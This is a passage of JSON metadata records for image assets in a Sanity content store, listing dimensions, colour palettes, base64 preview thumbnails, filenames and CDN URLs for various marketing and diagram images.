35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#699c69","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df2054","foreground":"#fff","population":0.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233.jpg","path":"images/sczeoy4w/production/74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233.jpg","sha1hash":"74da099db6ce98edfefc2cf20c7032954db19db5","size":484755,"uploadId":"Bmmr8NwoKyqgGBUoXFEDW3ZtVkuYPRgR","url":"https://cdn.sanity.io/images/sczeoy4w/production/74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233.jpg"} {"_createdAt":"2023-06-16T14:49:47Z","_id":"image-74e2afc363049dbcaf4c654818c4e12718cc0fcd-1200x630-jpg","_rev":"LlMsTfwmVHcho3tE1OjJtz","_type":"sanity.imageAsset","_updatedAt":"2023-06-16T14:49:47Z","assetId":"74e2afc363049dbcaf4c654818c4e12718cc0fcd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMG[]C00_2?a4o%NR%oya#WB00~pIUM{%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAcIBf/EACgQAAEBBwMCBwAAAAAAAAAAAAEDAAIEBQYREhMVMQc1CCIkUXGBkv/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAeEQACAgEFAQAAAAAAAAAAAAABAgADIRESE1FSsf/aAAwDAQACEQMRAD8AT4MpEuRyDpUxGWmPNdm34f6Opyqd3emkEYpNAuBMKGxF+eGRoPpHBYc+zbEin81kqau1Ry8JqWy0nrZfLaC5WNJCnMWGgbMsNzpBQwd7Gh9ksNJ5r6qge+x37YabwW+vsLuXqf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#352c52","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbed0","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2ba70","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6fb0b6","foreground":"#000","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44954","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"demo_meta_preview.jpg","path":"images/sczeoy4w/production/74e2afc363049dbcaf4c654818c4e12718cc0fcd-1200x630.jpg","sha1hash":"74e2afc363049dbcaf4c654818c4e12718cc0fcd","size":68755,"uploadId":"aaQKW2fB7kTRJHUKfEvOqAgQl3sadIWh","url":"https://cdn.sanity.io/images/sczeoy4w/production/74e2afc363049dbcaf4c654818c4e12718cc0fcd-1200x630.jpg"} {"_createdAt":"2023-04-17T15:04:53Z","_id":"image-74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985-jpg","_rev":"RPrb1lUomNmwPKpXX4hV9S","_type":"sanity.imageAsset","_updatedAt":"2023-04-17T15:04:53Z","assetId":"74fe6c55942f4ec7576e18d5a95f11fe971bbf85","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFSidM%M~o%M%Mj[j@j[t6fQayj[xuj[j@fQj?fQWCfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6597239648682559,"height":3985,"width":2629},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQFCP/EAB8QAAEEAwEAAwAAAAAAAAAAAAEAAgMRBBIxIRMiQf/EABUBAQEAAAAAAAAAAAAAAAAAAAAC/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAEx/9oADAMBAAIRAxEAPwDqTJeWREjqiwXaS0K+x9VeY5oiLSfTxRYpDJQXHwK5g1EQGxaKBNnNtgN8UULdpALr1aGVEZGijVKHDZ8znamtT+q5g1BxEHEUD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#141484","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121272","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ececfc","foreground":"#000","population":3.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b4c2","foreground":"#000","population":2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ececfc","foreground":"#000","population":3.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737484","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2222dc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg","path":"images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg","sha1hash":"74fe6c55942f4ec7576e18d5a95f11fe971bbf85","size":266119,"uploadId":"zUWAR9z6Mwt7CPadYhADmQ1Sn9ljMyXM","url":"https://cdn.sanity.io/images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg"} {"_createdAt":"2024-01-17T11:23:21Z","_id":"image-7518fab3a61a91004c233ae5b11b634c49e1ced0-1200x630-jpg","_rev":"ZLvKaZvfbZlWBlGcoqM4eh","_type":"sanity.imageAsset","_updatedAt":"2024-01-17T11:23:21Z","assetId":"7518fab3a61a91004c233ae5b11b634c49e1ced0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87nCYKkwXMvETt:-TI:NHxFIpxFWBj^s*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAACB//EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABREhEhNRIiMxMkH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQQG/8QAGxEAAgIDAQAAAAAAAAAAAAAAARIAIQIDMRH/2gAMAwEAAhEDEQA/AONafc0lIIxLWZpANmPk5mzNUsXgkUTJE/pRV+d8DXPsDgfU/mHR2SfqQkEEEHxmltCvZNTD2Pu1I603anTaQDnnLBapPJPbaSVyzkDcnLFq2FA4uGYAyK8n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2e57","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d68","foreground":"#fff","population":20.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d68","foreground":"#fff","population":20.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acabd4","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3e9f6","foreground":"#000","population":3.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b7093","foreground":"#fff","population":2.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6a0c","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Landing_pages_meta_Transformation-ebook-preview-1200x630.jpg","path":"images/sczeoy4w/production/7518fab3a61a91004c233ae5b11b634c49e1ced0-1200x630.jpg","sha1hash":"7518fab3a61a91004c233ae5b11b634c49e1ced0","size":223979,"uploadId":"y6MwTiYRVThaqsi5CeiS0rHFDXha7Te4","url":"https://cdn.sanity.io/images/sczeoy4w/production/7518fab3a61a91004c233ae5b11b634c49e1ced0-1200x630.jpg"} {"_createdAt":"2023-04-06T12:39:06Z","_id":"image-751fa971ceded82d565c7dbe43180211b845cfc9-1999x1944-png","_rev":"ulgXm0wFeNKgOZ86vt9VOt","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:06Z","assetId":"751fa971ceded82d565c7dbe43180211b845cfc9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0282921810699588,"height":1944,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAABjElEQVQ4jaWUwU7jMBCG+/5PggQXTitELxzYA4ICAdEu2kVCKyVtSZzU4/FMc+i/sklQiLKFwOGTR479aeL88YRNgcoYVNUG3nuoKkQkEuqxTMT7KAq0km8JtTcxViS99ZO2mzHsFerI7obk0tkXhf2zC7Tn2iXMb7fbyN4OpSd0zsGYEnlewBQGRQNZiuvquo58WmgtYbVeI00zpNkSWUNeFLBEb/EaSsTkTRgehNp70OoF67tfyC5ukV0kyC7vsLy6R34zR5k8ws6fwOka4vh1z14he/Cfv6h+nMMcnESKw1OYoymqoyns4RT2+Aw8W0DKzSeE4fBXOfj+N/jqATybgwLXC/jZAhpEt4+Q5wxCbo+wcx7eOXBZgcsN2BKcJTA5KDnUxKgdQ5uvLr0IDQuZo8QRwYWaGez5NToNbYykl8X3r9zNIDcM5NF/JNT/hHvMryhNU0G4E5FddxyNyE7CftXd4G0zqrs2HWH0Pt429B00jKok5EjTJYUOk68iIomKJBLqlyLRn7PkH8DItk+1icalAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30282c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d20e3c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4596b","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79ca6","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96e94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4596b","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f71851","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step3.png","path":"images/sczeoy4w/production/751fa971ceded82d565c7dbe43180211b845cfc9-1999x1944.png","sha1hash":"751fa971ceded82d565c7dbe43180211b845cfc9","size":170639,"uploadId":"OeEvsyHBh9VHYSgBwro23a3B84m5XveX","url":"https://cdn.sanity.io/images/sczeoy4w/production/751fa971ceded82d565c7dbe43180211b845cfc9-1999x1944.png"} {"_createdAt":"2022-06-15T20:02:11Z","_id":"image-752812bfafa7499d683a3a62a6c655e6f3ec9829-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO82gr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:31Z","assetId":"752812bfafa7499d683a3a62a6c655e6f3ec9829","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUO:qz_L-;IWxtGK$xIVbH%L?FIUM{xtWE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIklEQVQokSXH22/bdBjGcf9L3HDF/W6QkLiFCzTtgjsQ0xhjJaFA1TlI1daWHkQO60ldGidplm2tskI3urLmfFpix03s2I7j2L+fc7JTtkl5XxS4+Oj7PExLNr5piGpIEJWoICoRsalxgqhwfKPNXbY6XFs1OcMccRZ1OWK7HKEuR+mIU9vy01TqJL0e4nL+w3LqqOBsCerkLsM32oFiiRfzxVo/X6iRfLFOs7kqzeQqtFDiaV2QaafbpxZ1qUEmVDGu6Bt5TE8Len/vWWXsDRWc6xu9kTf+j5AWnA1G0chBSzbspqTjzGVLR7Gp/Wf2ZcVEtTvCZmeCmYaDifQQV45svL1n4JfrEn7CSvjRLzZ+tev28kI/yFjUfWRR17KoixZ1pxZ1wCT/m23DcqAuDSGVNeDhcQt+2irB9aUcfLr4Bq55q/DBLXH6oddEz4HdbUq9IEPsSZjYE0JsF4ntwqzUdtAiI+x0TKwLbTx5VcHt2EsMPErhfX8Uby7u4I0f9/HzO9tw7eYhfLzA44OE3lVl1c8Q6oQJdQihY6R0BJQM0aYDNA0Ly6UyJhJJ9Ad38PfgNka4GEa4KK5tBvDnxSX03J2HuR8ewPzKC4ymGoYhNYMMpcOwTQekT/rYJ3Q6sCwYWiZQXYX8xTmEgkFgWR+sLC9DLBKGk2QCnu1tw76Phd1vv4Okxwd/hJ5g5TzfHUiVADOwrPDANK2B2cOhqU/HhgJOtwVDVYDy61MIba4C67kNGwtzcBJcheq+H+qB3yDjuwfHt+7AqWdh2orHcVT/23qvpCPMWGke9GWRkraIA01EVxfwSq/jSKli6ewIw8te3J37AuMLX+Nfa/eQ311HObaHQjyCZ9tBPNt/iL3cc5wqF0PQ0inGbRRX7Vqu0OULii1VpUmHl992eXmi1WS1eCqXY/fbGf/3nacbPv3xVkApPX8id/Kv5F75tdwpvpSN6gvpSr5QQMtWQMvuMFdy9bNxq+wZSBWfo9bYt12efTej19h3apGd8H/+enmeXDt+HN08Th4uSaVz1m3l2fetDAvtDItadsYHWm4eOrkb/wLmY8m7gZmP0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3e50","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042cac","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#136eef","foreground":"#fff","population":4.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69694","foreground":"#000","population":0.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cb2ee","foreground":"#000","population":1.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b2657c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#136eef","foreground":"#fff","population":4.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"752812bfafa7499d683a3a62a6c655e6f3ec9829-1567x844.png","path":"images/sczeoy4w/production/752812bfafa7499d683a3a62a6c655e6f3ec9829-1567x844.png","sha1hash":"752812bfafa7499d683a3a62a6c655e6f3ec9829","size":544007,"uploadId":"dLX5328lSYI5mBW5D7nS7uzXcsaxMFKW","url":"https://cdn.sanity.io/images/sczeoy4w/production/752812bfafa7499d683a3a62a6c655e6f3ec9829-1567x844.png"} {"_createdAt":"2022-06-15T20:01:32Z","_id":"image-75396cce33493b47b4a3bac5e283bfb4d713848e-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7Y1R","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:53Z","assetId":"75396cce33493b47b4a3bac5e283bfb4d713848e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOKAQR01IUxbNH~pnOIobvn%MxNdtQs9j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AHRiVYVyYo97apSAbpmEcaKLd6uUfrSchbykjcauls62ntS8pNvBqeDGruHHr97DrNzAp9q9pNi6oda3nQBvXlGFcmGPemmPemmRfGuahHGljniulX+3nofBp4/KsJjRt5/XvKTbwKfewqnewqncv6Xau6HXuJ3UtZkAZ1ZJf2tbi3VkiHNji3Zlln9soIp0qpJ8tJuEv6WNyK6W0bmh172n2L2l276l3b+m3b6k2rqf1raa0bGVAF5MQXVhUYJsW4pzYZh/a6aNd7Gbgbmli8SxmMy5o9O/rNvKueDNvd/JtuDHstu/qNO1nM6vlcyskcinjABUQzhpVEd4YlKMdGGghW+vk3u8pInHtJfRwqbVxrDZybnh0sXk1cjgz7/YxbXHsZ+2nYi4m4PBoYe/nYMATDowbVZHh25clX5qmYJulHxpmoJuqZN7taCHvKaPxa6azbimyLSkuaaWr5qLrpWEtZiDw6KLy6mQx6SLAEk2LHNZSJN2YZuDbpJ+andkVnBdToBqWZB4ZJ+Eb6eMd56Gc452ZY5yYqWEccCbhdCokdOslM+okcegiQA/LSRWPzNoT0BtV0hqVkhcSz9bSj9qV0p6ZVaEbVx/ZVZxU0V9VkSkc13FkHbTnoPTnoXLmYLCkHq5h3MANycfOykhPy0kQjAoQzQqRzcuT0A3XExBYU5CZEo9ZUE0cD8wlFZBvHVYzYdk0I9szZFxxo1wvoZsuIBoADcmHjcmHjgnIDkpITorI0AxKU0+NVZGPFtBNW9ENYBMOopOPJ9YQrhoS8Z3U86HXdCUZ86ab8qadceXdQA4Jx43Jh43Jx84KCA5KSFAMilURTtnU0l+W02falaweGGweGK1d1+/d1vIgGDNiWDOj1zNmGPOn23Nn3B3R1sctrOLywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d362c","foreground":"#fff","population":2.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632f1f","foreground":"#fff","population":0.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0b299","foreground":"#000","population":7.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b299","foreground":"#000","population":7.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c8b0","foreground":"#000","population":2.71,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c76","foreground":"#fff","population":7.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7674b","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"75396cce33493b47b4a3bac5e283bfb4d713848e-752x405.png","path":"images/sczeoy4w/production/75396cce33493b47b4a3bac5e283bfb4d713848e-752x405.png","sha1hash":"75396cce33493b47b4a3bac5e283bfb4d713848e","size":126020,"uploadId":"CJQFSMfbZwF6czJHouY8B0JNOu7hD4l1","url":"https://cdn.sanity.io/images/sczeoy4w/production/75396cce33493b47b4a3bac5e283bfb4d713848e-752x405.png"} {"_createdAt":"2022-06-30T19:57:03Z","_id":"image-75458454c3ecd91f815a180b634a930c1c3cc3e6-750x308-png","_rev":"QRl2cGoCgj0FlAhkRrhd5k","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:24Z","assetId":"75458454c3ecd91f815a180b634a930c1c3cc3e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M055FA~qIA-;-pMxRPxuWCoe00t7WCofRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.435064935064935,"height":308,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABNUlEQVQYlU2Q7c7bMAhGcxFrpcT1V5wYbIPBbfPe/6VNzqZpR/xAD+JIsMQYj+NwzhljXsbYl3XWRm+ds68bY8y2bcYYa+26rs/n8zH59Xg8FgBAgBRj8D54H33YQ4DjwAxHSineA+e893uc+Gk1r20z67q0WlspDTOexxHjHkIKEc6TW6NSCHJO+x6mMcUIOdeCFTKeaQ9hodo683fIkN5qLYgIGXJmoiH9q9KJaikFMZ8n5EytKZNQw5wXaiQi1/W9rmuMoSJMVBCZ6D3Gz3V9Pp+hKiIV8UjpnBdNy5nSwsSq+rl5v9+qykQVsTOPMf7mt7QiRu+Dc3fNZmEiFVHVcaMi1FoB6MwqMv7kqtI7AkTvvbX/ammlUmvM1DtL7525loI5t1p55jOU3pnm74Jz/y//Bo16SN0Q+72fAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d404c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#572d13","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#572d13","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc8a68","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#845c44","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a87450","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"75458454c3ecd91f815a180b634a930c1c3cc3e6-750x308.png","path":"images/sczeoy4w/production/75458454c3ecd91f815a180b634a930c1c3cc3e6-750x308.png","sha1hash":"75458454c3ecd91f815a180b634a930c1c3cc3e6","size":17050,"uploadId":"Mytbg7H8tzDWZvS787ICIoqLHqyQKkPT","url":"https://cdn.sanity.io/images/sczeoy4w/production/75458454c3ecd91f815a180b634a930c1c3cc3e6-750x308.png"} {"_createdAt":"2023-09-11T18:32:14Z","_id":"image-756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa-1567x844-png","_rev":"ZpixvKy5oWJdKYmQwcRD0C","_type":"sanity.imageAsset","_updatedAt":"2023-09-11T18:32:14Z","assetId":"756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8;fx?ZIRt7RQ?docIUozWX9EM{t6oMoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfUlEQVQokR2SDVPScACH9wkUGNtgY3/2CijIyXmXKZbyIgoKjCGMCcjLJgqIpiEvaVgqObTUS62zy7rqixZ9gOd+9/zugWAihQIZA+s4UyB5lWArZqZKcA1gPwCOQ+tYlxrv0a4TytklbXs4W0epbdhS1JnlUWwNYsaKU7ONOX8zED4ORnrzS70XwXfewKk/rAWjHxdjt4uxu8DqXTB644v0p7xt4NhFQBW2lPV4DrK5lflQK546XctqYkYT5atU9iYuXScyn9P5rzn1aaPySy79lDYeI4nBlLdLOVtmtoXRr1CqAdkmFP9yOyn3k/KFkL5ISJfJ9etE5iYu3YryQ055Km7/yau/M8VvC8vnvLtpsR8R/BHOdQhbD+JdylygGY73osmzVfF8RfwQSWhh4TIifhKke7n0XSr8iKUfhcyXZeHKPd0luH2U2sHoPZzrQHa3Oh86DMd7gtRPygMhPVhNDkJRLRDRluLXsfRDKH4/G/zkC18FV/qTz5smemgLW0qotTaEA+GOkD5LSP2EpAnpQUTUZvzvHZ427+7YPce2yRPG9ZZxtuixOs6UjWTJQBQMRAEBWxDg857pmtf3etZ3OLPQnvG9efbyyOFp4eyuEdSMoIbSexh9gICaHi/ozFkjqCDW4duwRYEIIsmzst1ZZsc3LZyCMxWcrZqYHdRag0nVQBRhUkHAtpGs6PGcziwjYAuxVg3Ehs6UgRhSnOClCbfCuSpmugSTZQRsolQNo+sIUA1EDrbkEaAaybLOJOtM0v/N0qhJGkFFCNAZlsuyjiJlV4aF8VukrQ7su1bHPmlr4KyKsyrB1VCrojNJo1hKb87qzPIItvYP/gtWMrXVVlJgKAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382e5a","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c76","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":10.3,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":10.3,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#959be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f91","foreground":"#fff","population":1.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e91","foreground":"#fff","population":3.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cdc_kafka_mysql_debezium.png","path":"images/sczeoy4w/production/756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa-1567x844.png","sha1hash":"756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa","size":143881,"uploadId":"tKIJQkOnAvVMZlKUx6I23FfykFn33hqR","url":"https://cdn.sanity.io/images/sczeoy4w/production/756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa-1567x844.png"} {"_createdAt":"2024-01-09T13:42:08Z","_id":"image-75bca2c5cb3a5ca6ad2dc803ce2bb656206a4591-1200x630-jpg","_rev":"2NRF14ypplMhiTpuAOynUL","_type":"sanity.imageAsset","_updatedAt":"2024-01-09T13:42:08Z","assetId":"75bca2c5cb3a5ca6ad2dc803ce2bb656206a4591","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MID,1p00%J~W00?INafOoLNd01_2RjIB-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwADBv/EACMQAAEEAgAGAwAAAAAAAAAAAAECAwQFABEGBxIUITEiQlH/xAAWAQEBAQAAAAAAAAAAAAAAAAABBAb/xAAaEQEBAAMBAQAAAAAAAAAAAAABAgARIQMS/9oADAMBAAIRAxEAPwAWizq9EVI7QKfCdbUnwTiTyTpaviWytG7OtaldDILbSTrR37GFAUe0QPHv8zWqtp9RP7islvRXh921aOaSpa8kl0uTDqs77m5RVNVxguLBhCI0llBLQPo+d5Yb2lhLsJzsmbIdffWfktatk5Yw/EkvdYPXef/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414562","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06046c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e87","foreground":"#fff","population":1.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d2","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4886a","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e87","foreground":"#fff","population":1.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24b40","foreground":"#fff","population":0.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"G2_la